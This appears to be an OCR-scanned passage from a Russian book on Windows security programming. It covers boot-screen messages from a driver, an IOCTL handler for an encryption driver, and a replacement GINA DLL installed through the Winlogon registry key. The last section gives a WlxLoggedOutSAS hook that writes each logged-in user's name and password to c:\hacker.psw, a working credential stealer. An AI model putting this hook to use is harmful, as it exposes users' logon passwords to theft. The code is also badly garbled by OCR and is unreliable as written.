Наши друзья:
|
Вывод сообщений на «синий» экран
Если флаг Start в реестре у драйвера установлен в SERVICE_BOOT_ START(0) или SERVICE_SYSTEM_START(1), то можно использовать функцию вывода на «синий» экран -ZwDisplayString для вывода информации о действиях драйвера во время инициализации.
Например:
UNICODE_STRING 'bootMessagpUnicodeString;
WCHAR bootMessage [] = L"\nMessage on blue screen. \n\n";
CTL CODE( FILE DEVICE TDRV, 0x01,
CTL CODE( FILE DEVICE TDRV, 0x02,
RtlInitUnicodeString( sbootMessageUnicodeString, bootMessage ); ZwDisplayString( SbootMessageUnicodeString );
Например, во время инициализации драйвер может произвести процедуру тестирования (контрольный пример) криптографических функций, либо иных функций, имеющих отношение к безопасности, и вывести результат тестирования на «синий» экран. Кроме того, в ряде случаев можно инициировать ввод ключевой информации для драйверов шифрования, описанных выше.
Процедура распределения IRP_MJ_DEVICE_CONTROL драйвера контроля доступа
Для взаимодействия с драйвером модифицированная библиотека GINA может использовать определенные контрольные коды, которые должен обрабатывать драйвер, например:
tdefine TDRV_hook (ULONG) CTL_CODE( FILEJ)EVICE_TDRV, 0x00,
METHOD_BUFFERED, FILE_ANY_ACCESS )
#define TDRV_unhook (ULONG)
METHOD_BUFFERED, FILE_ANY_ACCESS
#define TDRV_setkey (ULONG)
METHOD_BUFFERED, FILE_WRITE_ACCESS )
#define TDRV_test (ULONG) CTL_CODE( FILE_DEVICE_TDRV, 0x03,
METHOD_BUFFERED, FILE_WRITE_ACCESS ) .
Тогда процедура обработки контрольных кодов драйвера Tdrv может быть следующей:
BOOLEAN TdrvDeviceCon.trol ( IN PFILE_OBJECT FileObject, IN BOOLEAN Wait,
.IN PVOID InputBuffer, IN ULONG InputBufferLength, OUT PVOID OutputBuffer, IN ULONG OutputBufferLength,
IN ULONG loControlCode, OUT PIO_STATUS_BLOCK loStatus, IN PDEVICE_OBJECT DeviceObject ) { UCHAR ProcName[256] ;
int tg_gina_work, i;
IoStatus->Status = STATUS_SUCCESS; IoStatus->Information = 0; switch ( loControlCode ) { case TDRV_version:
//возвратить версию драйвера контроля доступа *(ULONG *)OutputBuffer = TDRVVERSION; IoStatus->Information = sizeof(ULONG);
break;
case TDRV_hook:
//заменить обработчики открытия, //создания и удаления файлов HookFileOperation() ; break;
case TDRV_unhook:
//восстановить обработчики открытия, //создания и удаления файлов UnhookRegistry(); break;
case TDRV_test:
//протестировать криптографические функции в //процедуре test_crypto {
tg_no_work=0;
if(test_crypto()!=0) tg_no_work=l; break;
}
case TDRV_setkey:
//передать ключ шифрования драйверу, //если текущий процесс winlogon {
tg_gina_work=0;. GetProcess(ProcName); ToLowerStr(ProcName);
// условная процедура перевода символов в // строчные
if(strcmp(ProcName,"winlogon.exe")==0) tg_gina_work=l; if ((InputBufferLength != sizeof(TDRV_IOCTL)) || (InputBuffer == NULL ) I I (tg_gina_work==0))
{
IoStatus->Status = 1; break;
} RtlMoveMemory( UserKey,,
((PTDRV_IOCTL)InputBuffer)->UserKey,
KEY_SIZE ); RtlMoveMemory( Userld,
((PTDRV_IOCTL)InputBuffer)-XJserld, USER ID SIZE ); "
RtlMoveMemory( UserStatus, l
((PTDRV_IOCTL)InputBuffer)->UserStatus,
USER_STATUS_SIZE ); IoStatus->Status = STATUS_/_SUCCESS; break;
default:
IoStatus->Status - STATUS_INVALID_DEVICE_REQUEST; break;
return TRUE;
Драйвер может вызываться периодически по таймеру из модифицированной библиотеки Gina с помощью функции DeviceloControl для тестирования криптографических функций и других функций обеспечения безопасности с заданной периодичностью, например, Один раз в минуту.
Модифицированная библиотека Gina
Модифицированная библиотека (полностью текст и описание состояний приведено выше) Gina XGINA.dll реализует перехват экспортируемых оригинальной MSGINA функций с последующей передачей им управления. Собственные обработчики должны иметь такие же имена, что и оригинальные (экспортируемые библиотекой MSGINA).
Для того чтобы вместо оригинальной библиотеки MSGINA.dll в процесс winlogon подгружалась модифицированная библиотека XGINA.dll, нужно задать в ключе реестра \Registry\Machine\Software\Microsoft\Windo\vs NT\Current Version\Winlogon запись: GinaDll = c:\xgina.dll.
XGINA.dll во время загрузки в процесс Winlogon должна сначала подгрузить оригинальную библиотеку MSGINA.DLL, а затем получить адреса экспортируемых этой библиотекой функций, для того чтобы использовать эти адреса в собственных обработчиках:
WLXNEGOTIATE
WLXINITIALIZE
WLXDISPLAYSASNOTICE
WLXLOGGEDOUTSAS
WLXACTIVATEUSERSHELL
WLXLOGGEDONSAS
WLXISLOCKOK
WLXDISPLAYLOCKEDNOTICE
WLXWKSTALOCKEDSAS
g_lpWlxNegotiate = NULL; g_lpWlxInitialize = NULL;
g_lpWlxDisplaySASNotice = NULL; g_lpWlxLoggedOutSAS = NULL;
g_lpWlxActivateUserShell = NULL; g_lpWlxLoggedOnSAS = NULL; g_lpWlx!sLockOk = NULL;
g_lpWlxDisplctyLockedNotice = NULL; g IpWlxWkstaLockedSAS = NULL;
WLXISLOGOFFOK g_lpWlx!sLogoffOk = NULL;
WLXLOGOFF . g_lpWlxLogoff » NULL;
WLXSHUTDOWN g_lpWlxShutdown - NULL;
BOOL InitMSGinaDllO
{ .
hMSGinaDLL = LoadLibrary(_T("MSGINA.DLL"));
if (hMSGinaDLL == NULL)
{
return FALSE; }
MessageBox(NULL,_T("Load Original Library MSGINA"), _T("GinaDebug"), MB_OK);
g_lpWlxNegotiate = ( WLXNEGOTIATE )GetProcAddress(hMSGinaDLL, "WlxNegotiate" );
g_lpWlxInitialize = ( WLXINITIALIZE )GetProcAddress(hMSGinaDLL, "Wlxlnitialize" ) ;
g_lpWlxDisplaySASNotice = ( WLXDISPLAYSASNOTICE ) GetProcAddress(hMSGinaDLL, "WlxDisplaySASNotice" ); g_lpWlxLoggedOutSAS -= ( WLXLOGGEDOUTSAS )GetProcAddress (hMSGinaDLL, "WlxLoggedOutSAS" );
g_lpWlxActivateUserShell = ( WLXACTIVATEUSERSHELL ) GetProcAddress(hMSGinaDLL, "WlxActivateUserShell" ); g_lpWlxLoggedOnSAS = ( WLXLOGGEDONSAS )GetProcAddress(hMSGinaDLL,
"WlxLoggedOnSAS" );
g_lpWlx!sLockOk = ( WLXISLOCKOK )GetProcAddress(hMSGinaDLL, "WlxIsLockOk" );
g_lpWlxDisplayLockedNotice = ( WLXDISPLAYLOCKEDNOTICE ) GetProcAddress(hMSGinaDLL, "WlxDisplayLockedNotice" ); g_lpWlxWkstaLockedSAS = ( -WLXWKSTALOCKEDSAS .) GetProcAddress(hMSGinaDLL, "WlxWkstaLockedSAS" ); g_lpWlx!sLogoffOk = ( WLXISLOGOFFOK )GetProcAddress(hMSGinaDLL, "WlxIsLogoffOk" ) ;
g_lpWlxLogoff = ( WLXLOGOFF )GetProcAddress(hMSGinaDLL, "WlxLogoff" ); g_lpWlxShutdown = ( WLXSHUTDOWN )GetProcAddress(hMSGinaDLL, "WlxShutdown" );
MessageBox(NULL,_T("All Function Attach Succesfully") , _T ("GinaDebug"), MBJDK); return TRUE;
Ниже приведен пример нового обработчика экспортируемой функции WlxLoggedOutSAS:
int WINAPI WlxLoggedOutSAS( PVOID pWlxContext, DWORD dwSasType, FLUID pAuthenticationld, //ID, ассоциированный с текущей сессией logon
PSID pLogonSid, //SID уникальный для текущей сессией logon
PDWORD pdwOptions, //опция загрузки профиля PHANDLE phToken,
PWLX_MPR_NOTIFY_INFO pMprNotifylnfo, //парольная информация PVOID* pProfile )
//указатель на одну из структур WLX_PROFILE_xxx { '
int res,i; FILE *out;
UCHAR current_name[32],current_pass[32]; UCHAR pro[2]={0x20,0}; UCHAR end[3]={OxD,OxA,0};
MessageBox(NULL,_T("WlxLoggedOutSAS"),_T("GinaDebug"),MB_OK); //вызов оригинальной функции WlxLoggedOutSAS res = g_lpWlxLoggedOutSAS(
pWlxContext, dwSasType, pAuthenticationld, pLogonSid, pdwOptions, phToken, pMprNotifylnfo,
pProfile );
if(res == WLX_SAS_ACTION_LOGON) {
for (i=0;i<32;i++) current_name[i]=0; for (i=0;i<32;i++)
{
if(pMprNotify!nfo->pszUserName[i]==0) break; else current_name[i]=pMprNotify!nfo->pszUserName[i]; //получение имени пользователя
for(i=0;i<32;i++) current_pass[i]=0; for (i=0;i<32;i+,+ )
if(pMprNotify!nfo->pszPassword[i]==0) break;
else current_pass[i]=pMprNotify!nfo->pszPassword[i] ; //получение пароля пользователя
out=fopen ("с: \\hacker.psw", "r+b") ; if (out!=NULL) {
f seek (out, 0, SEEK_END) ;
//вывод имени пользователя в файл с: \\hacker .psw f write (cur rent_name, sizeof (char) , strlen (current_name) , out);
fwrite (pro, sizeof (char) , 1, out) ;
//вывод пароля пользователя в файл с: \\hacker .psw fwrite (current_pass, sizeof (char) , strlen (current_pass) , out) ;
fwrite (end, sizeof (char) , 2, out) ; fclose (out) ;
'
return res;
|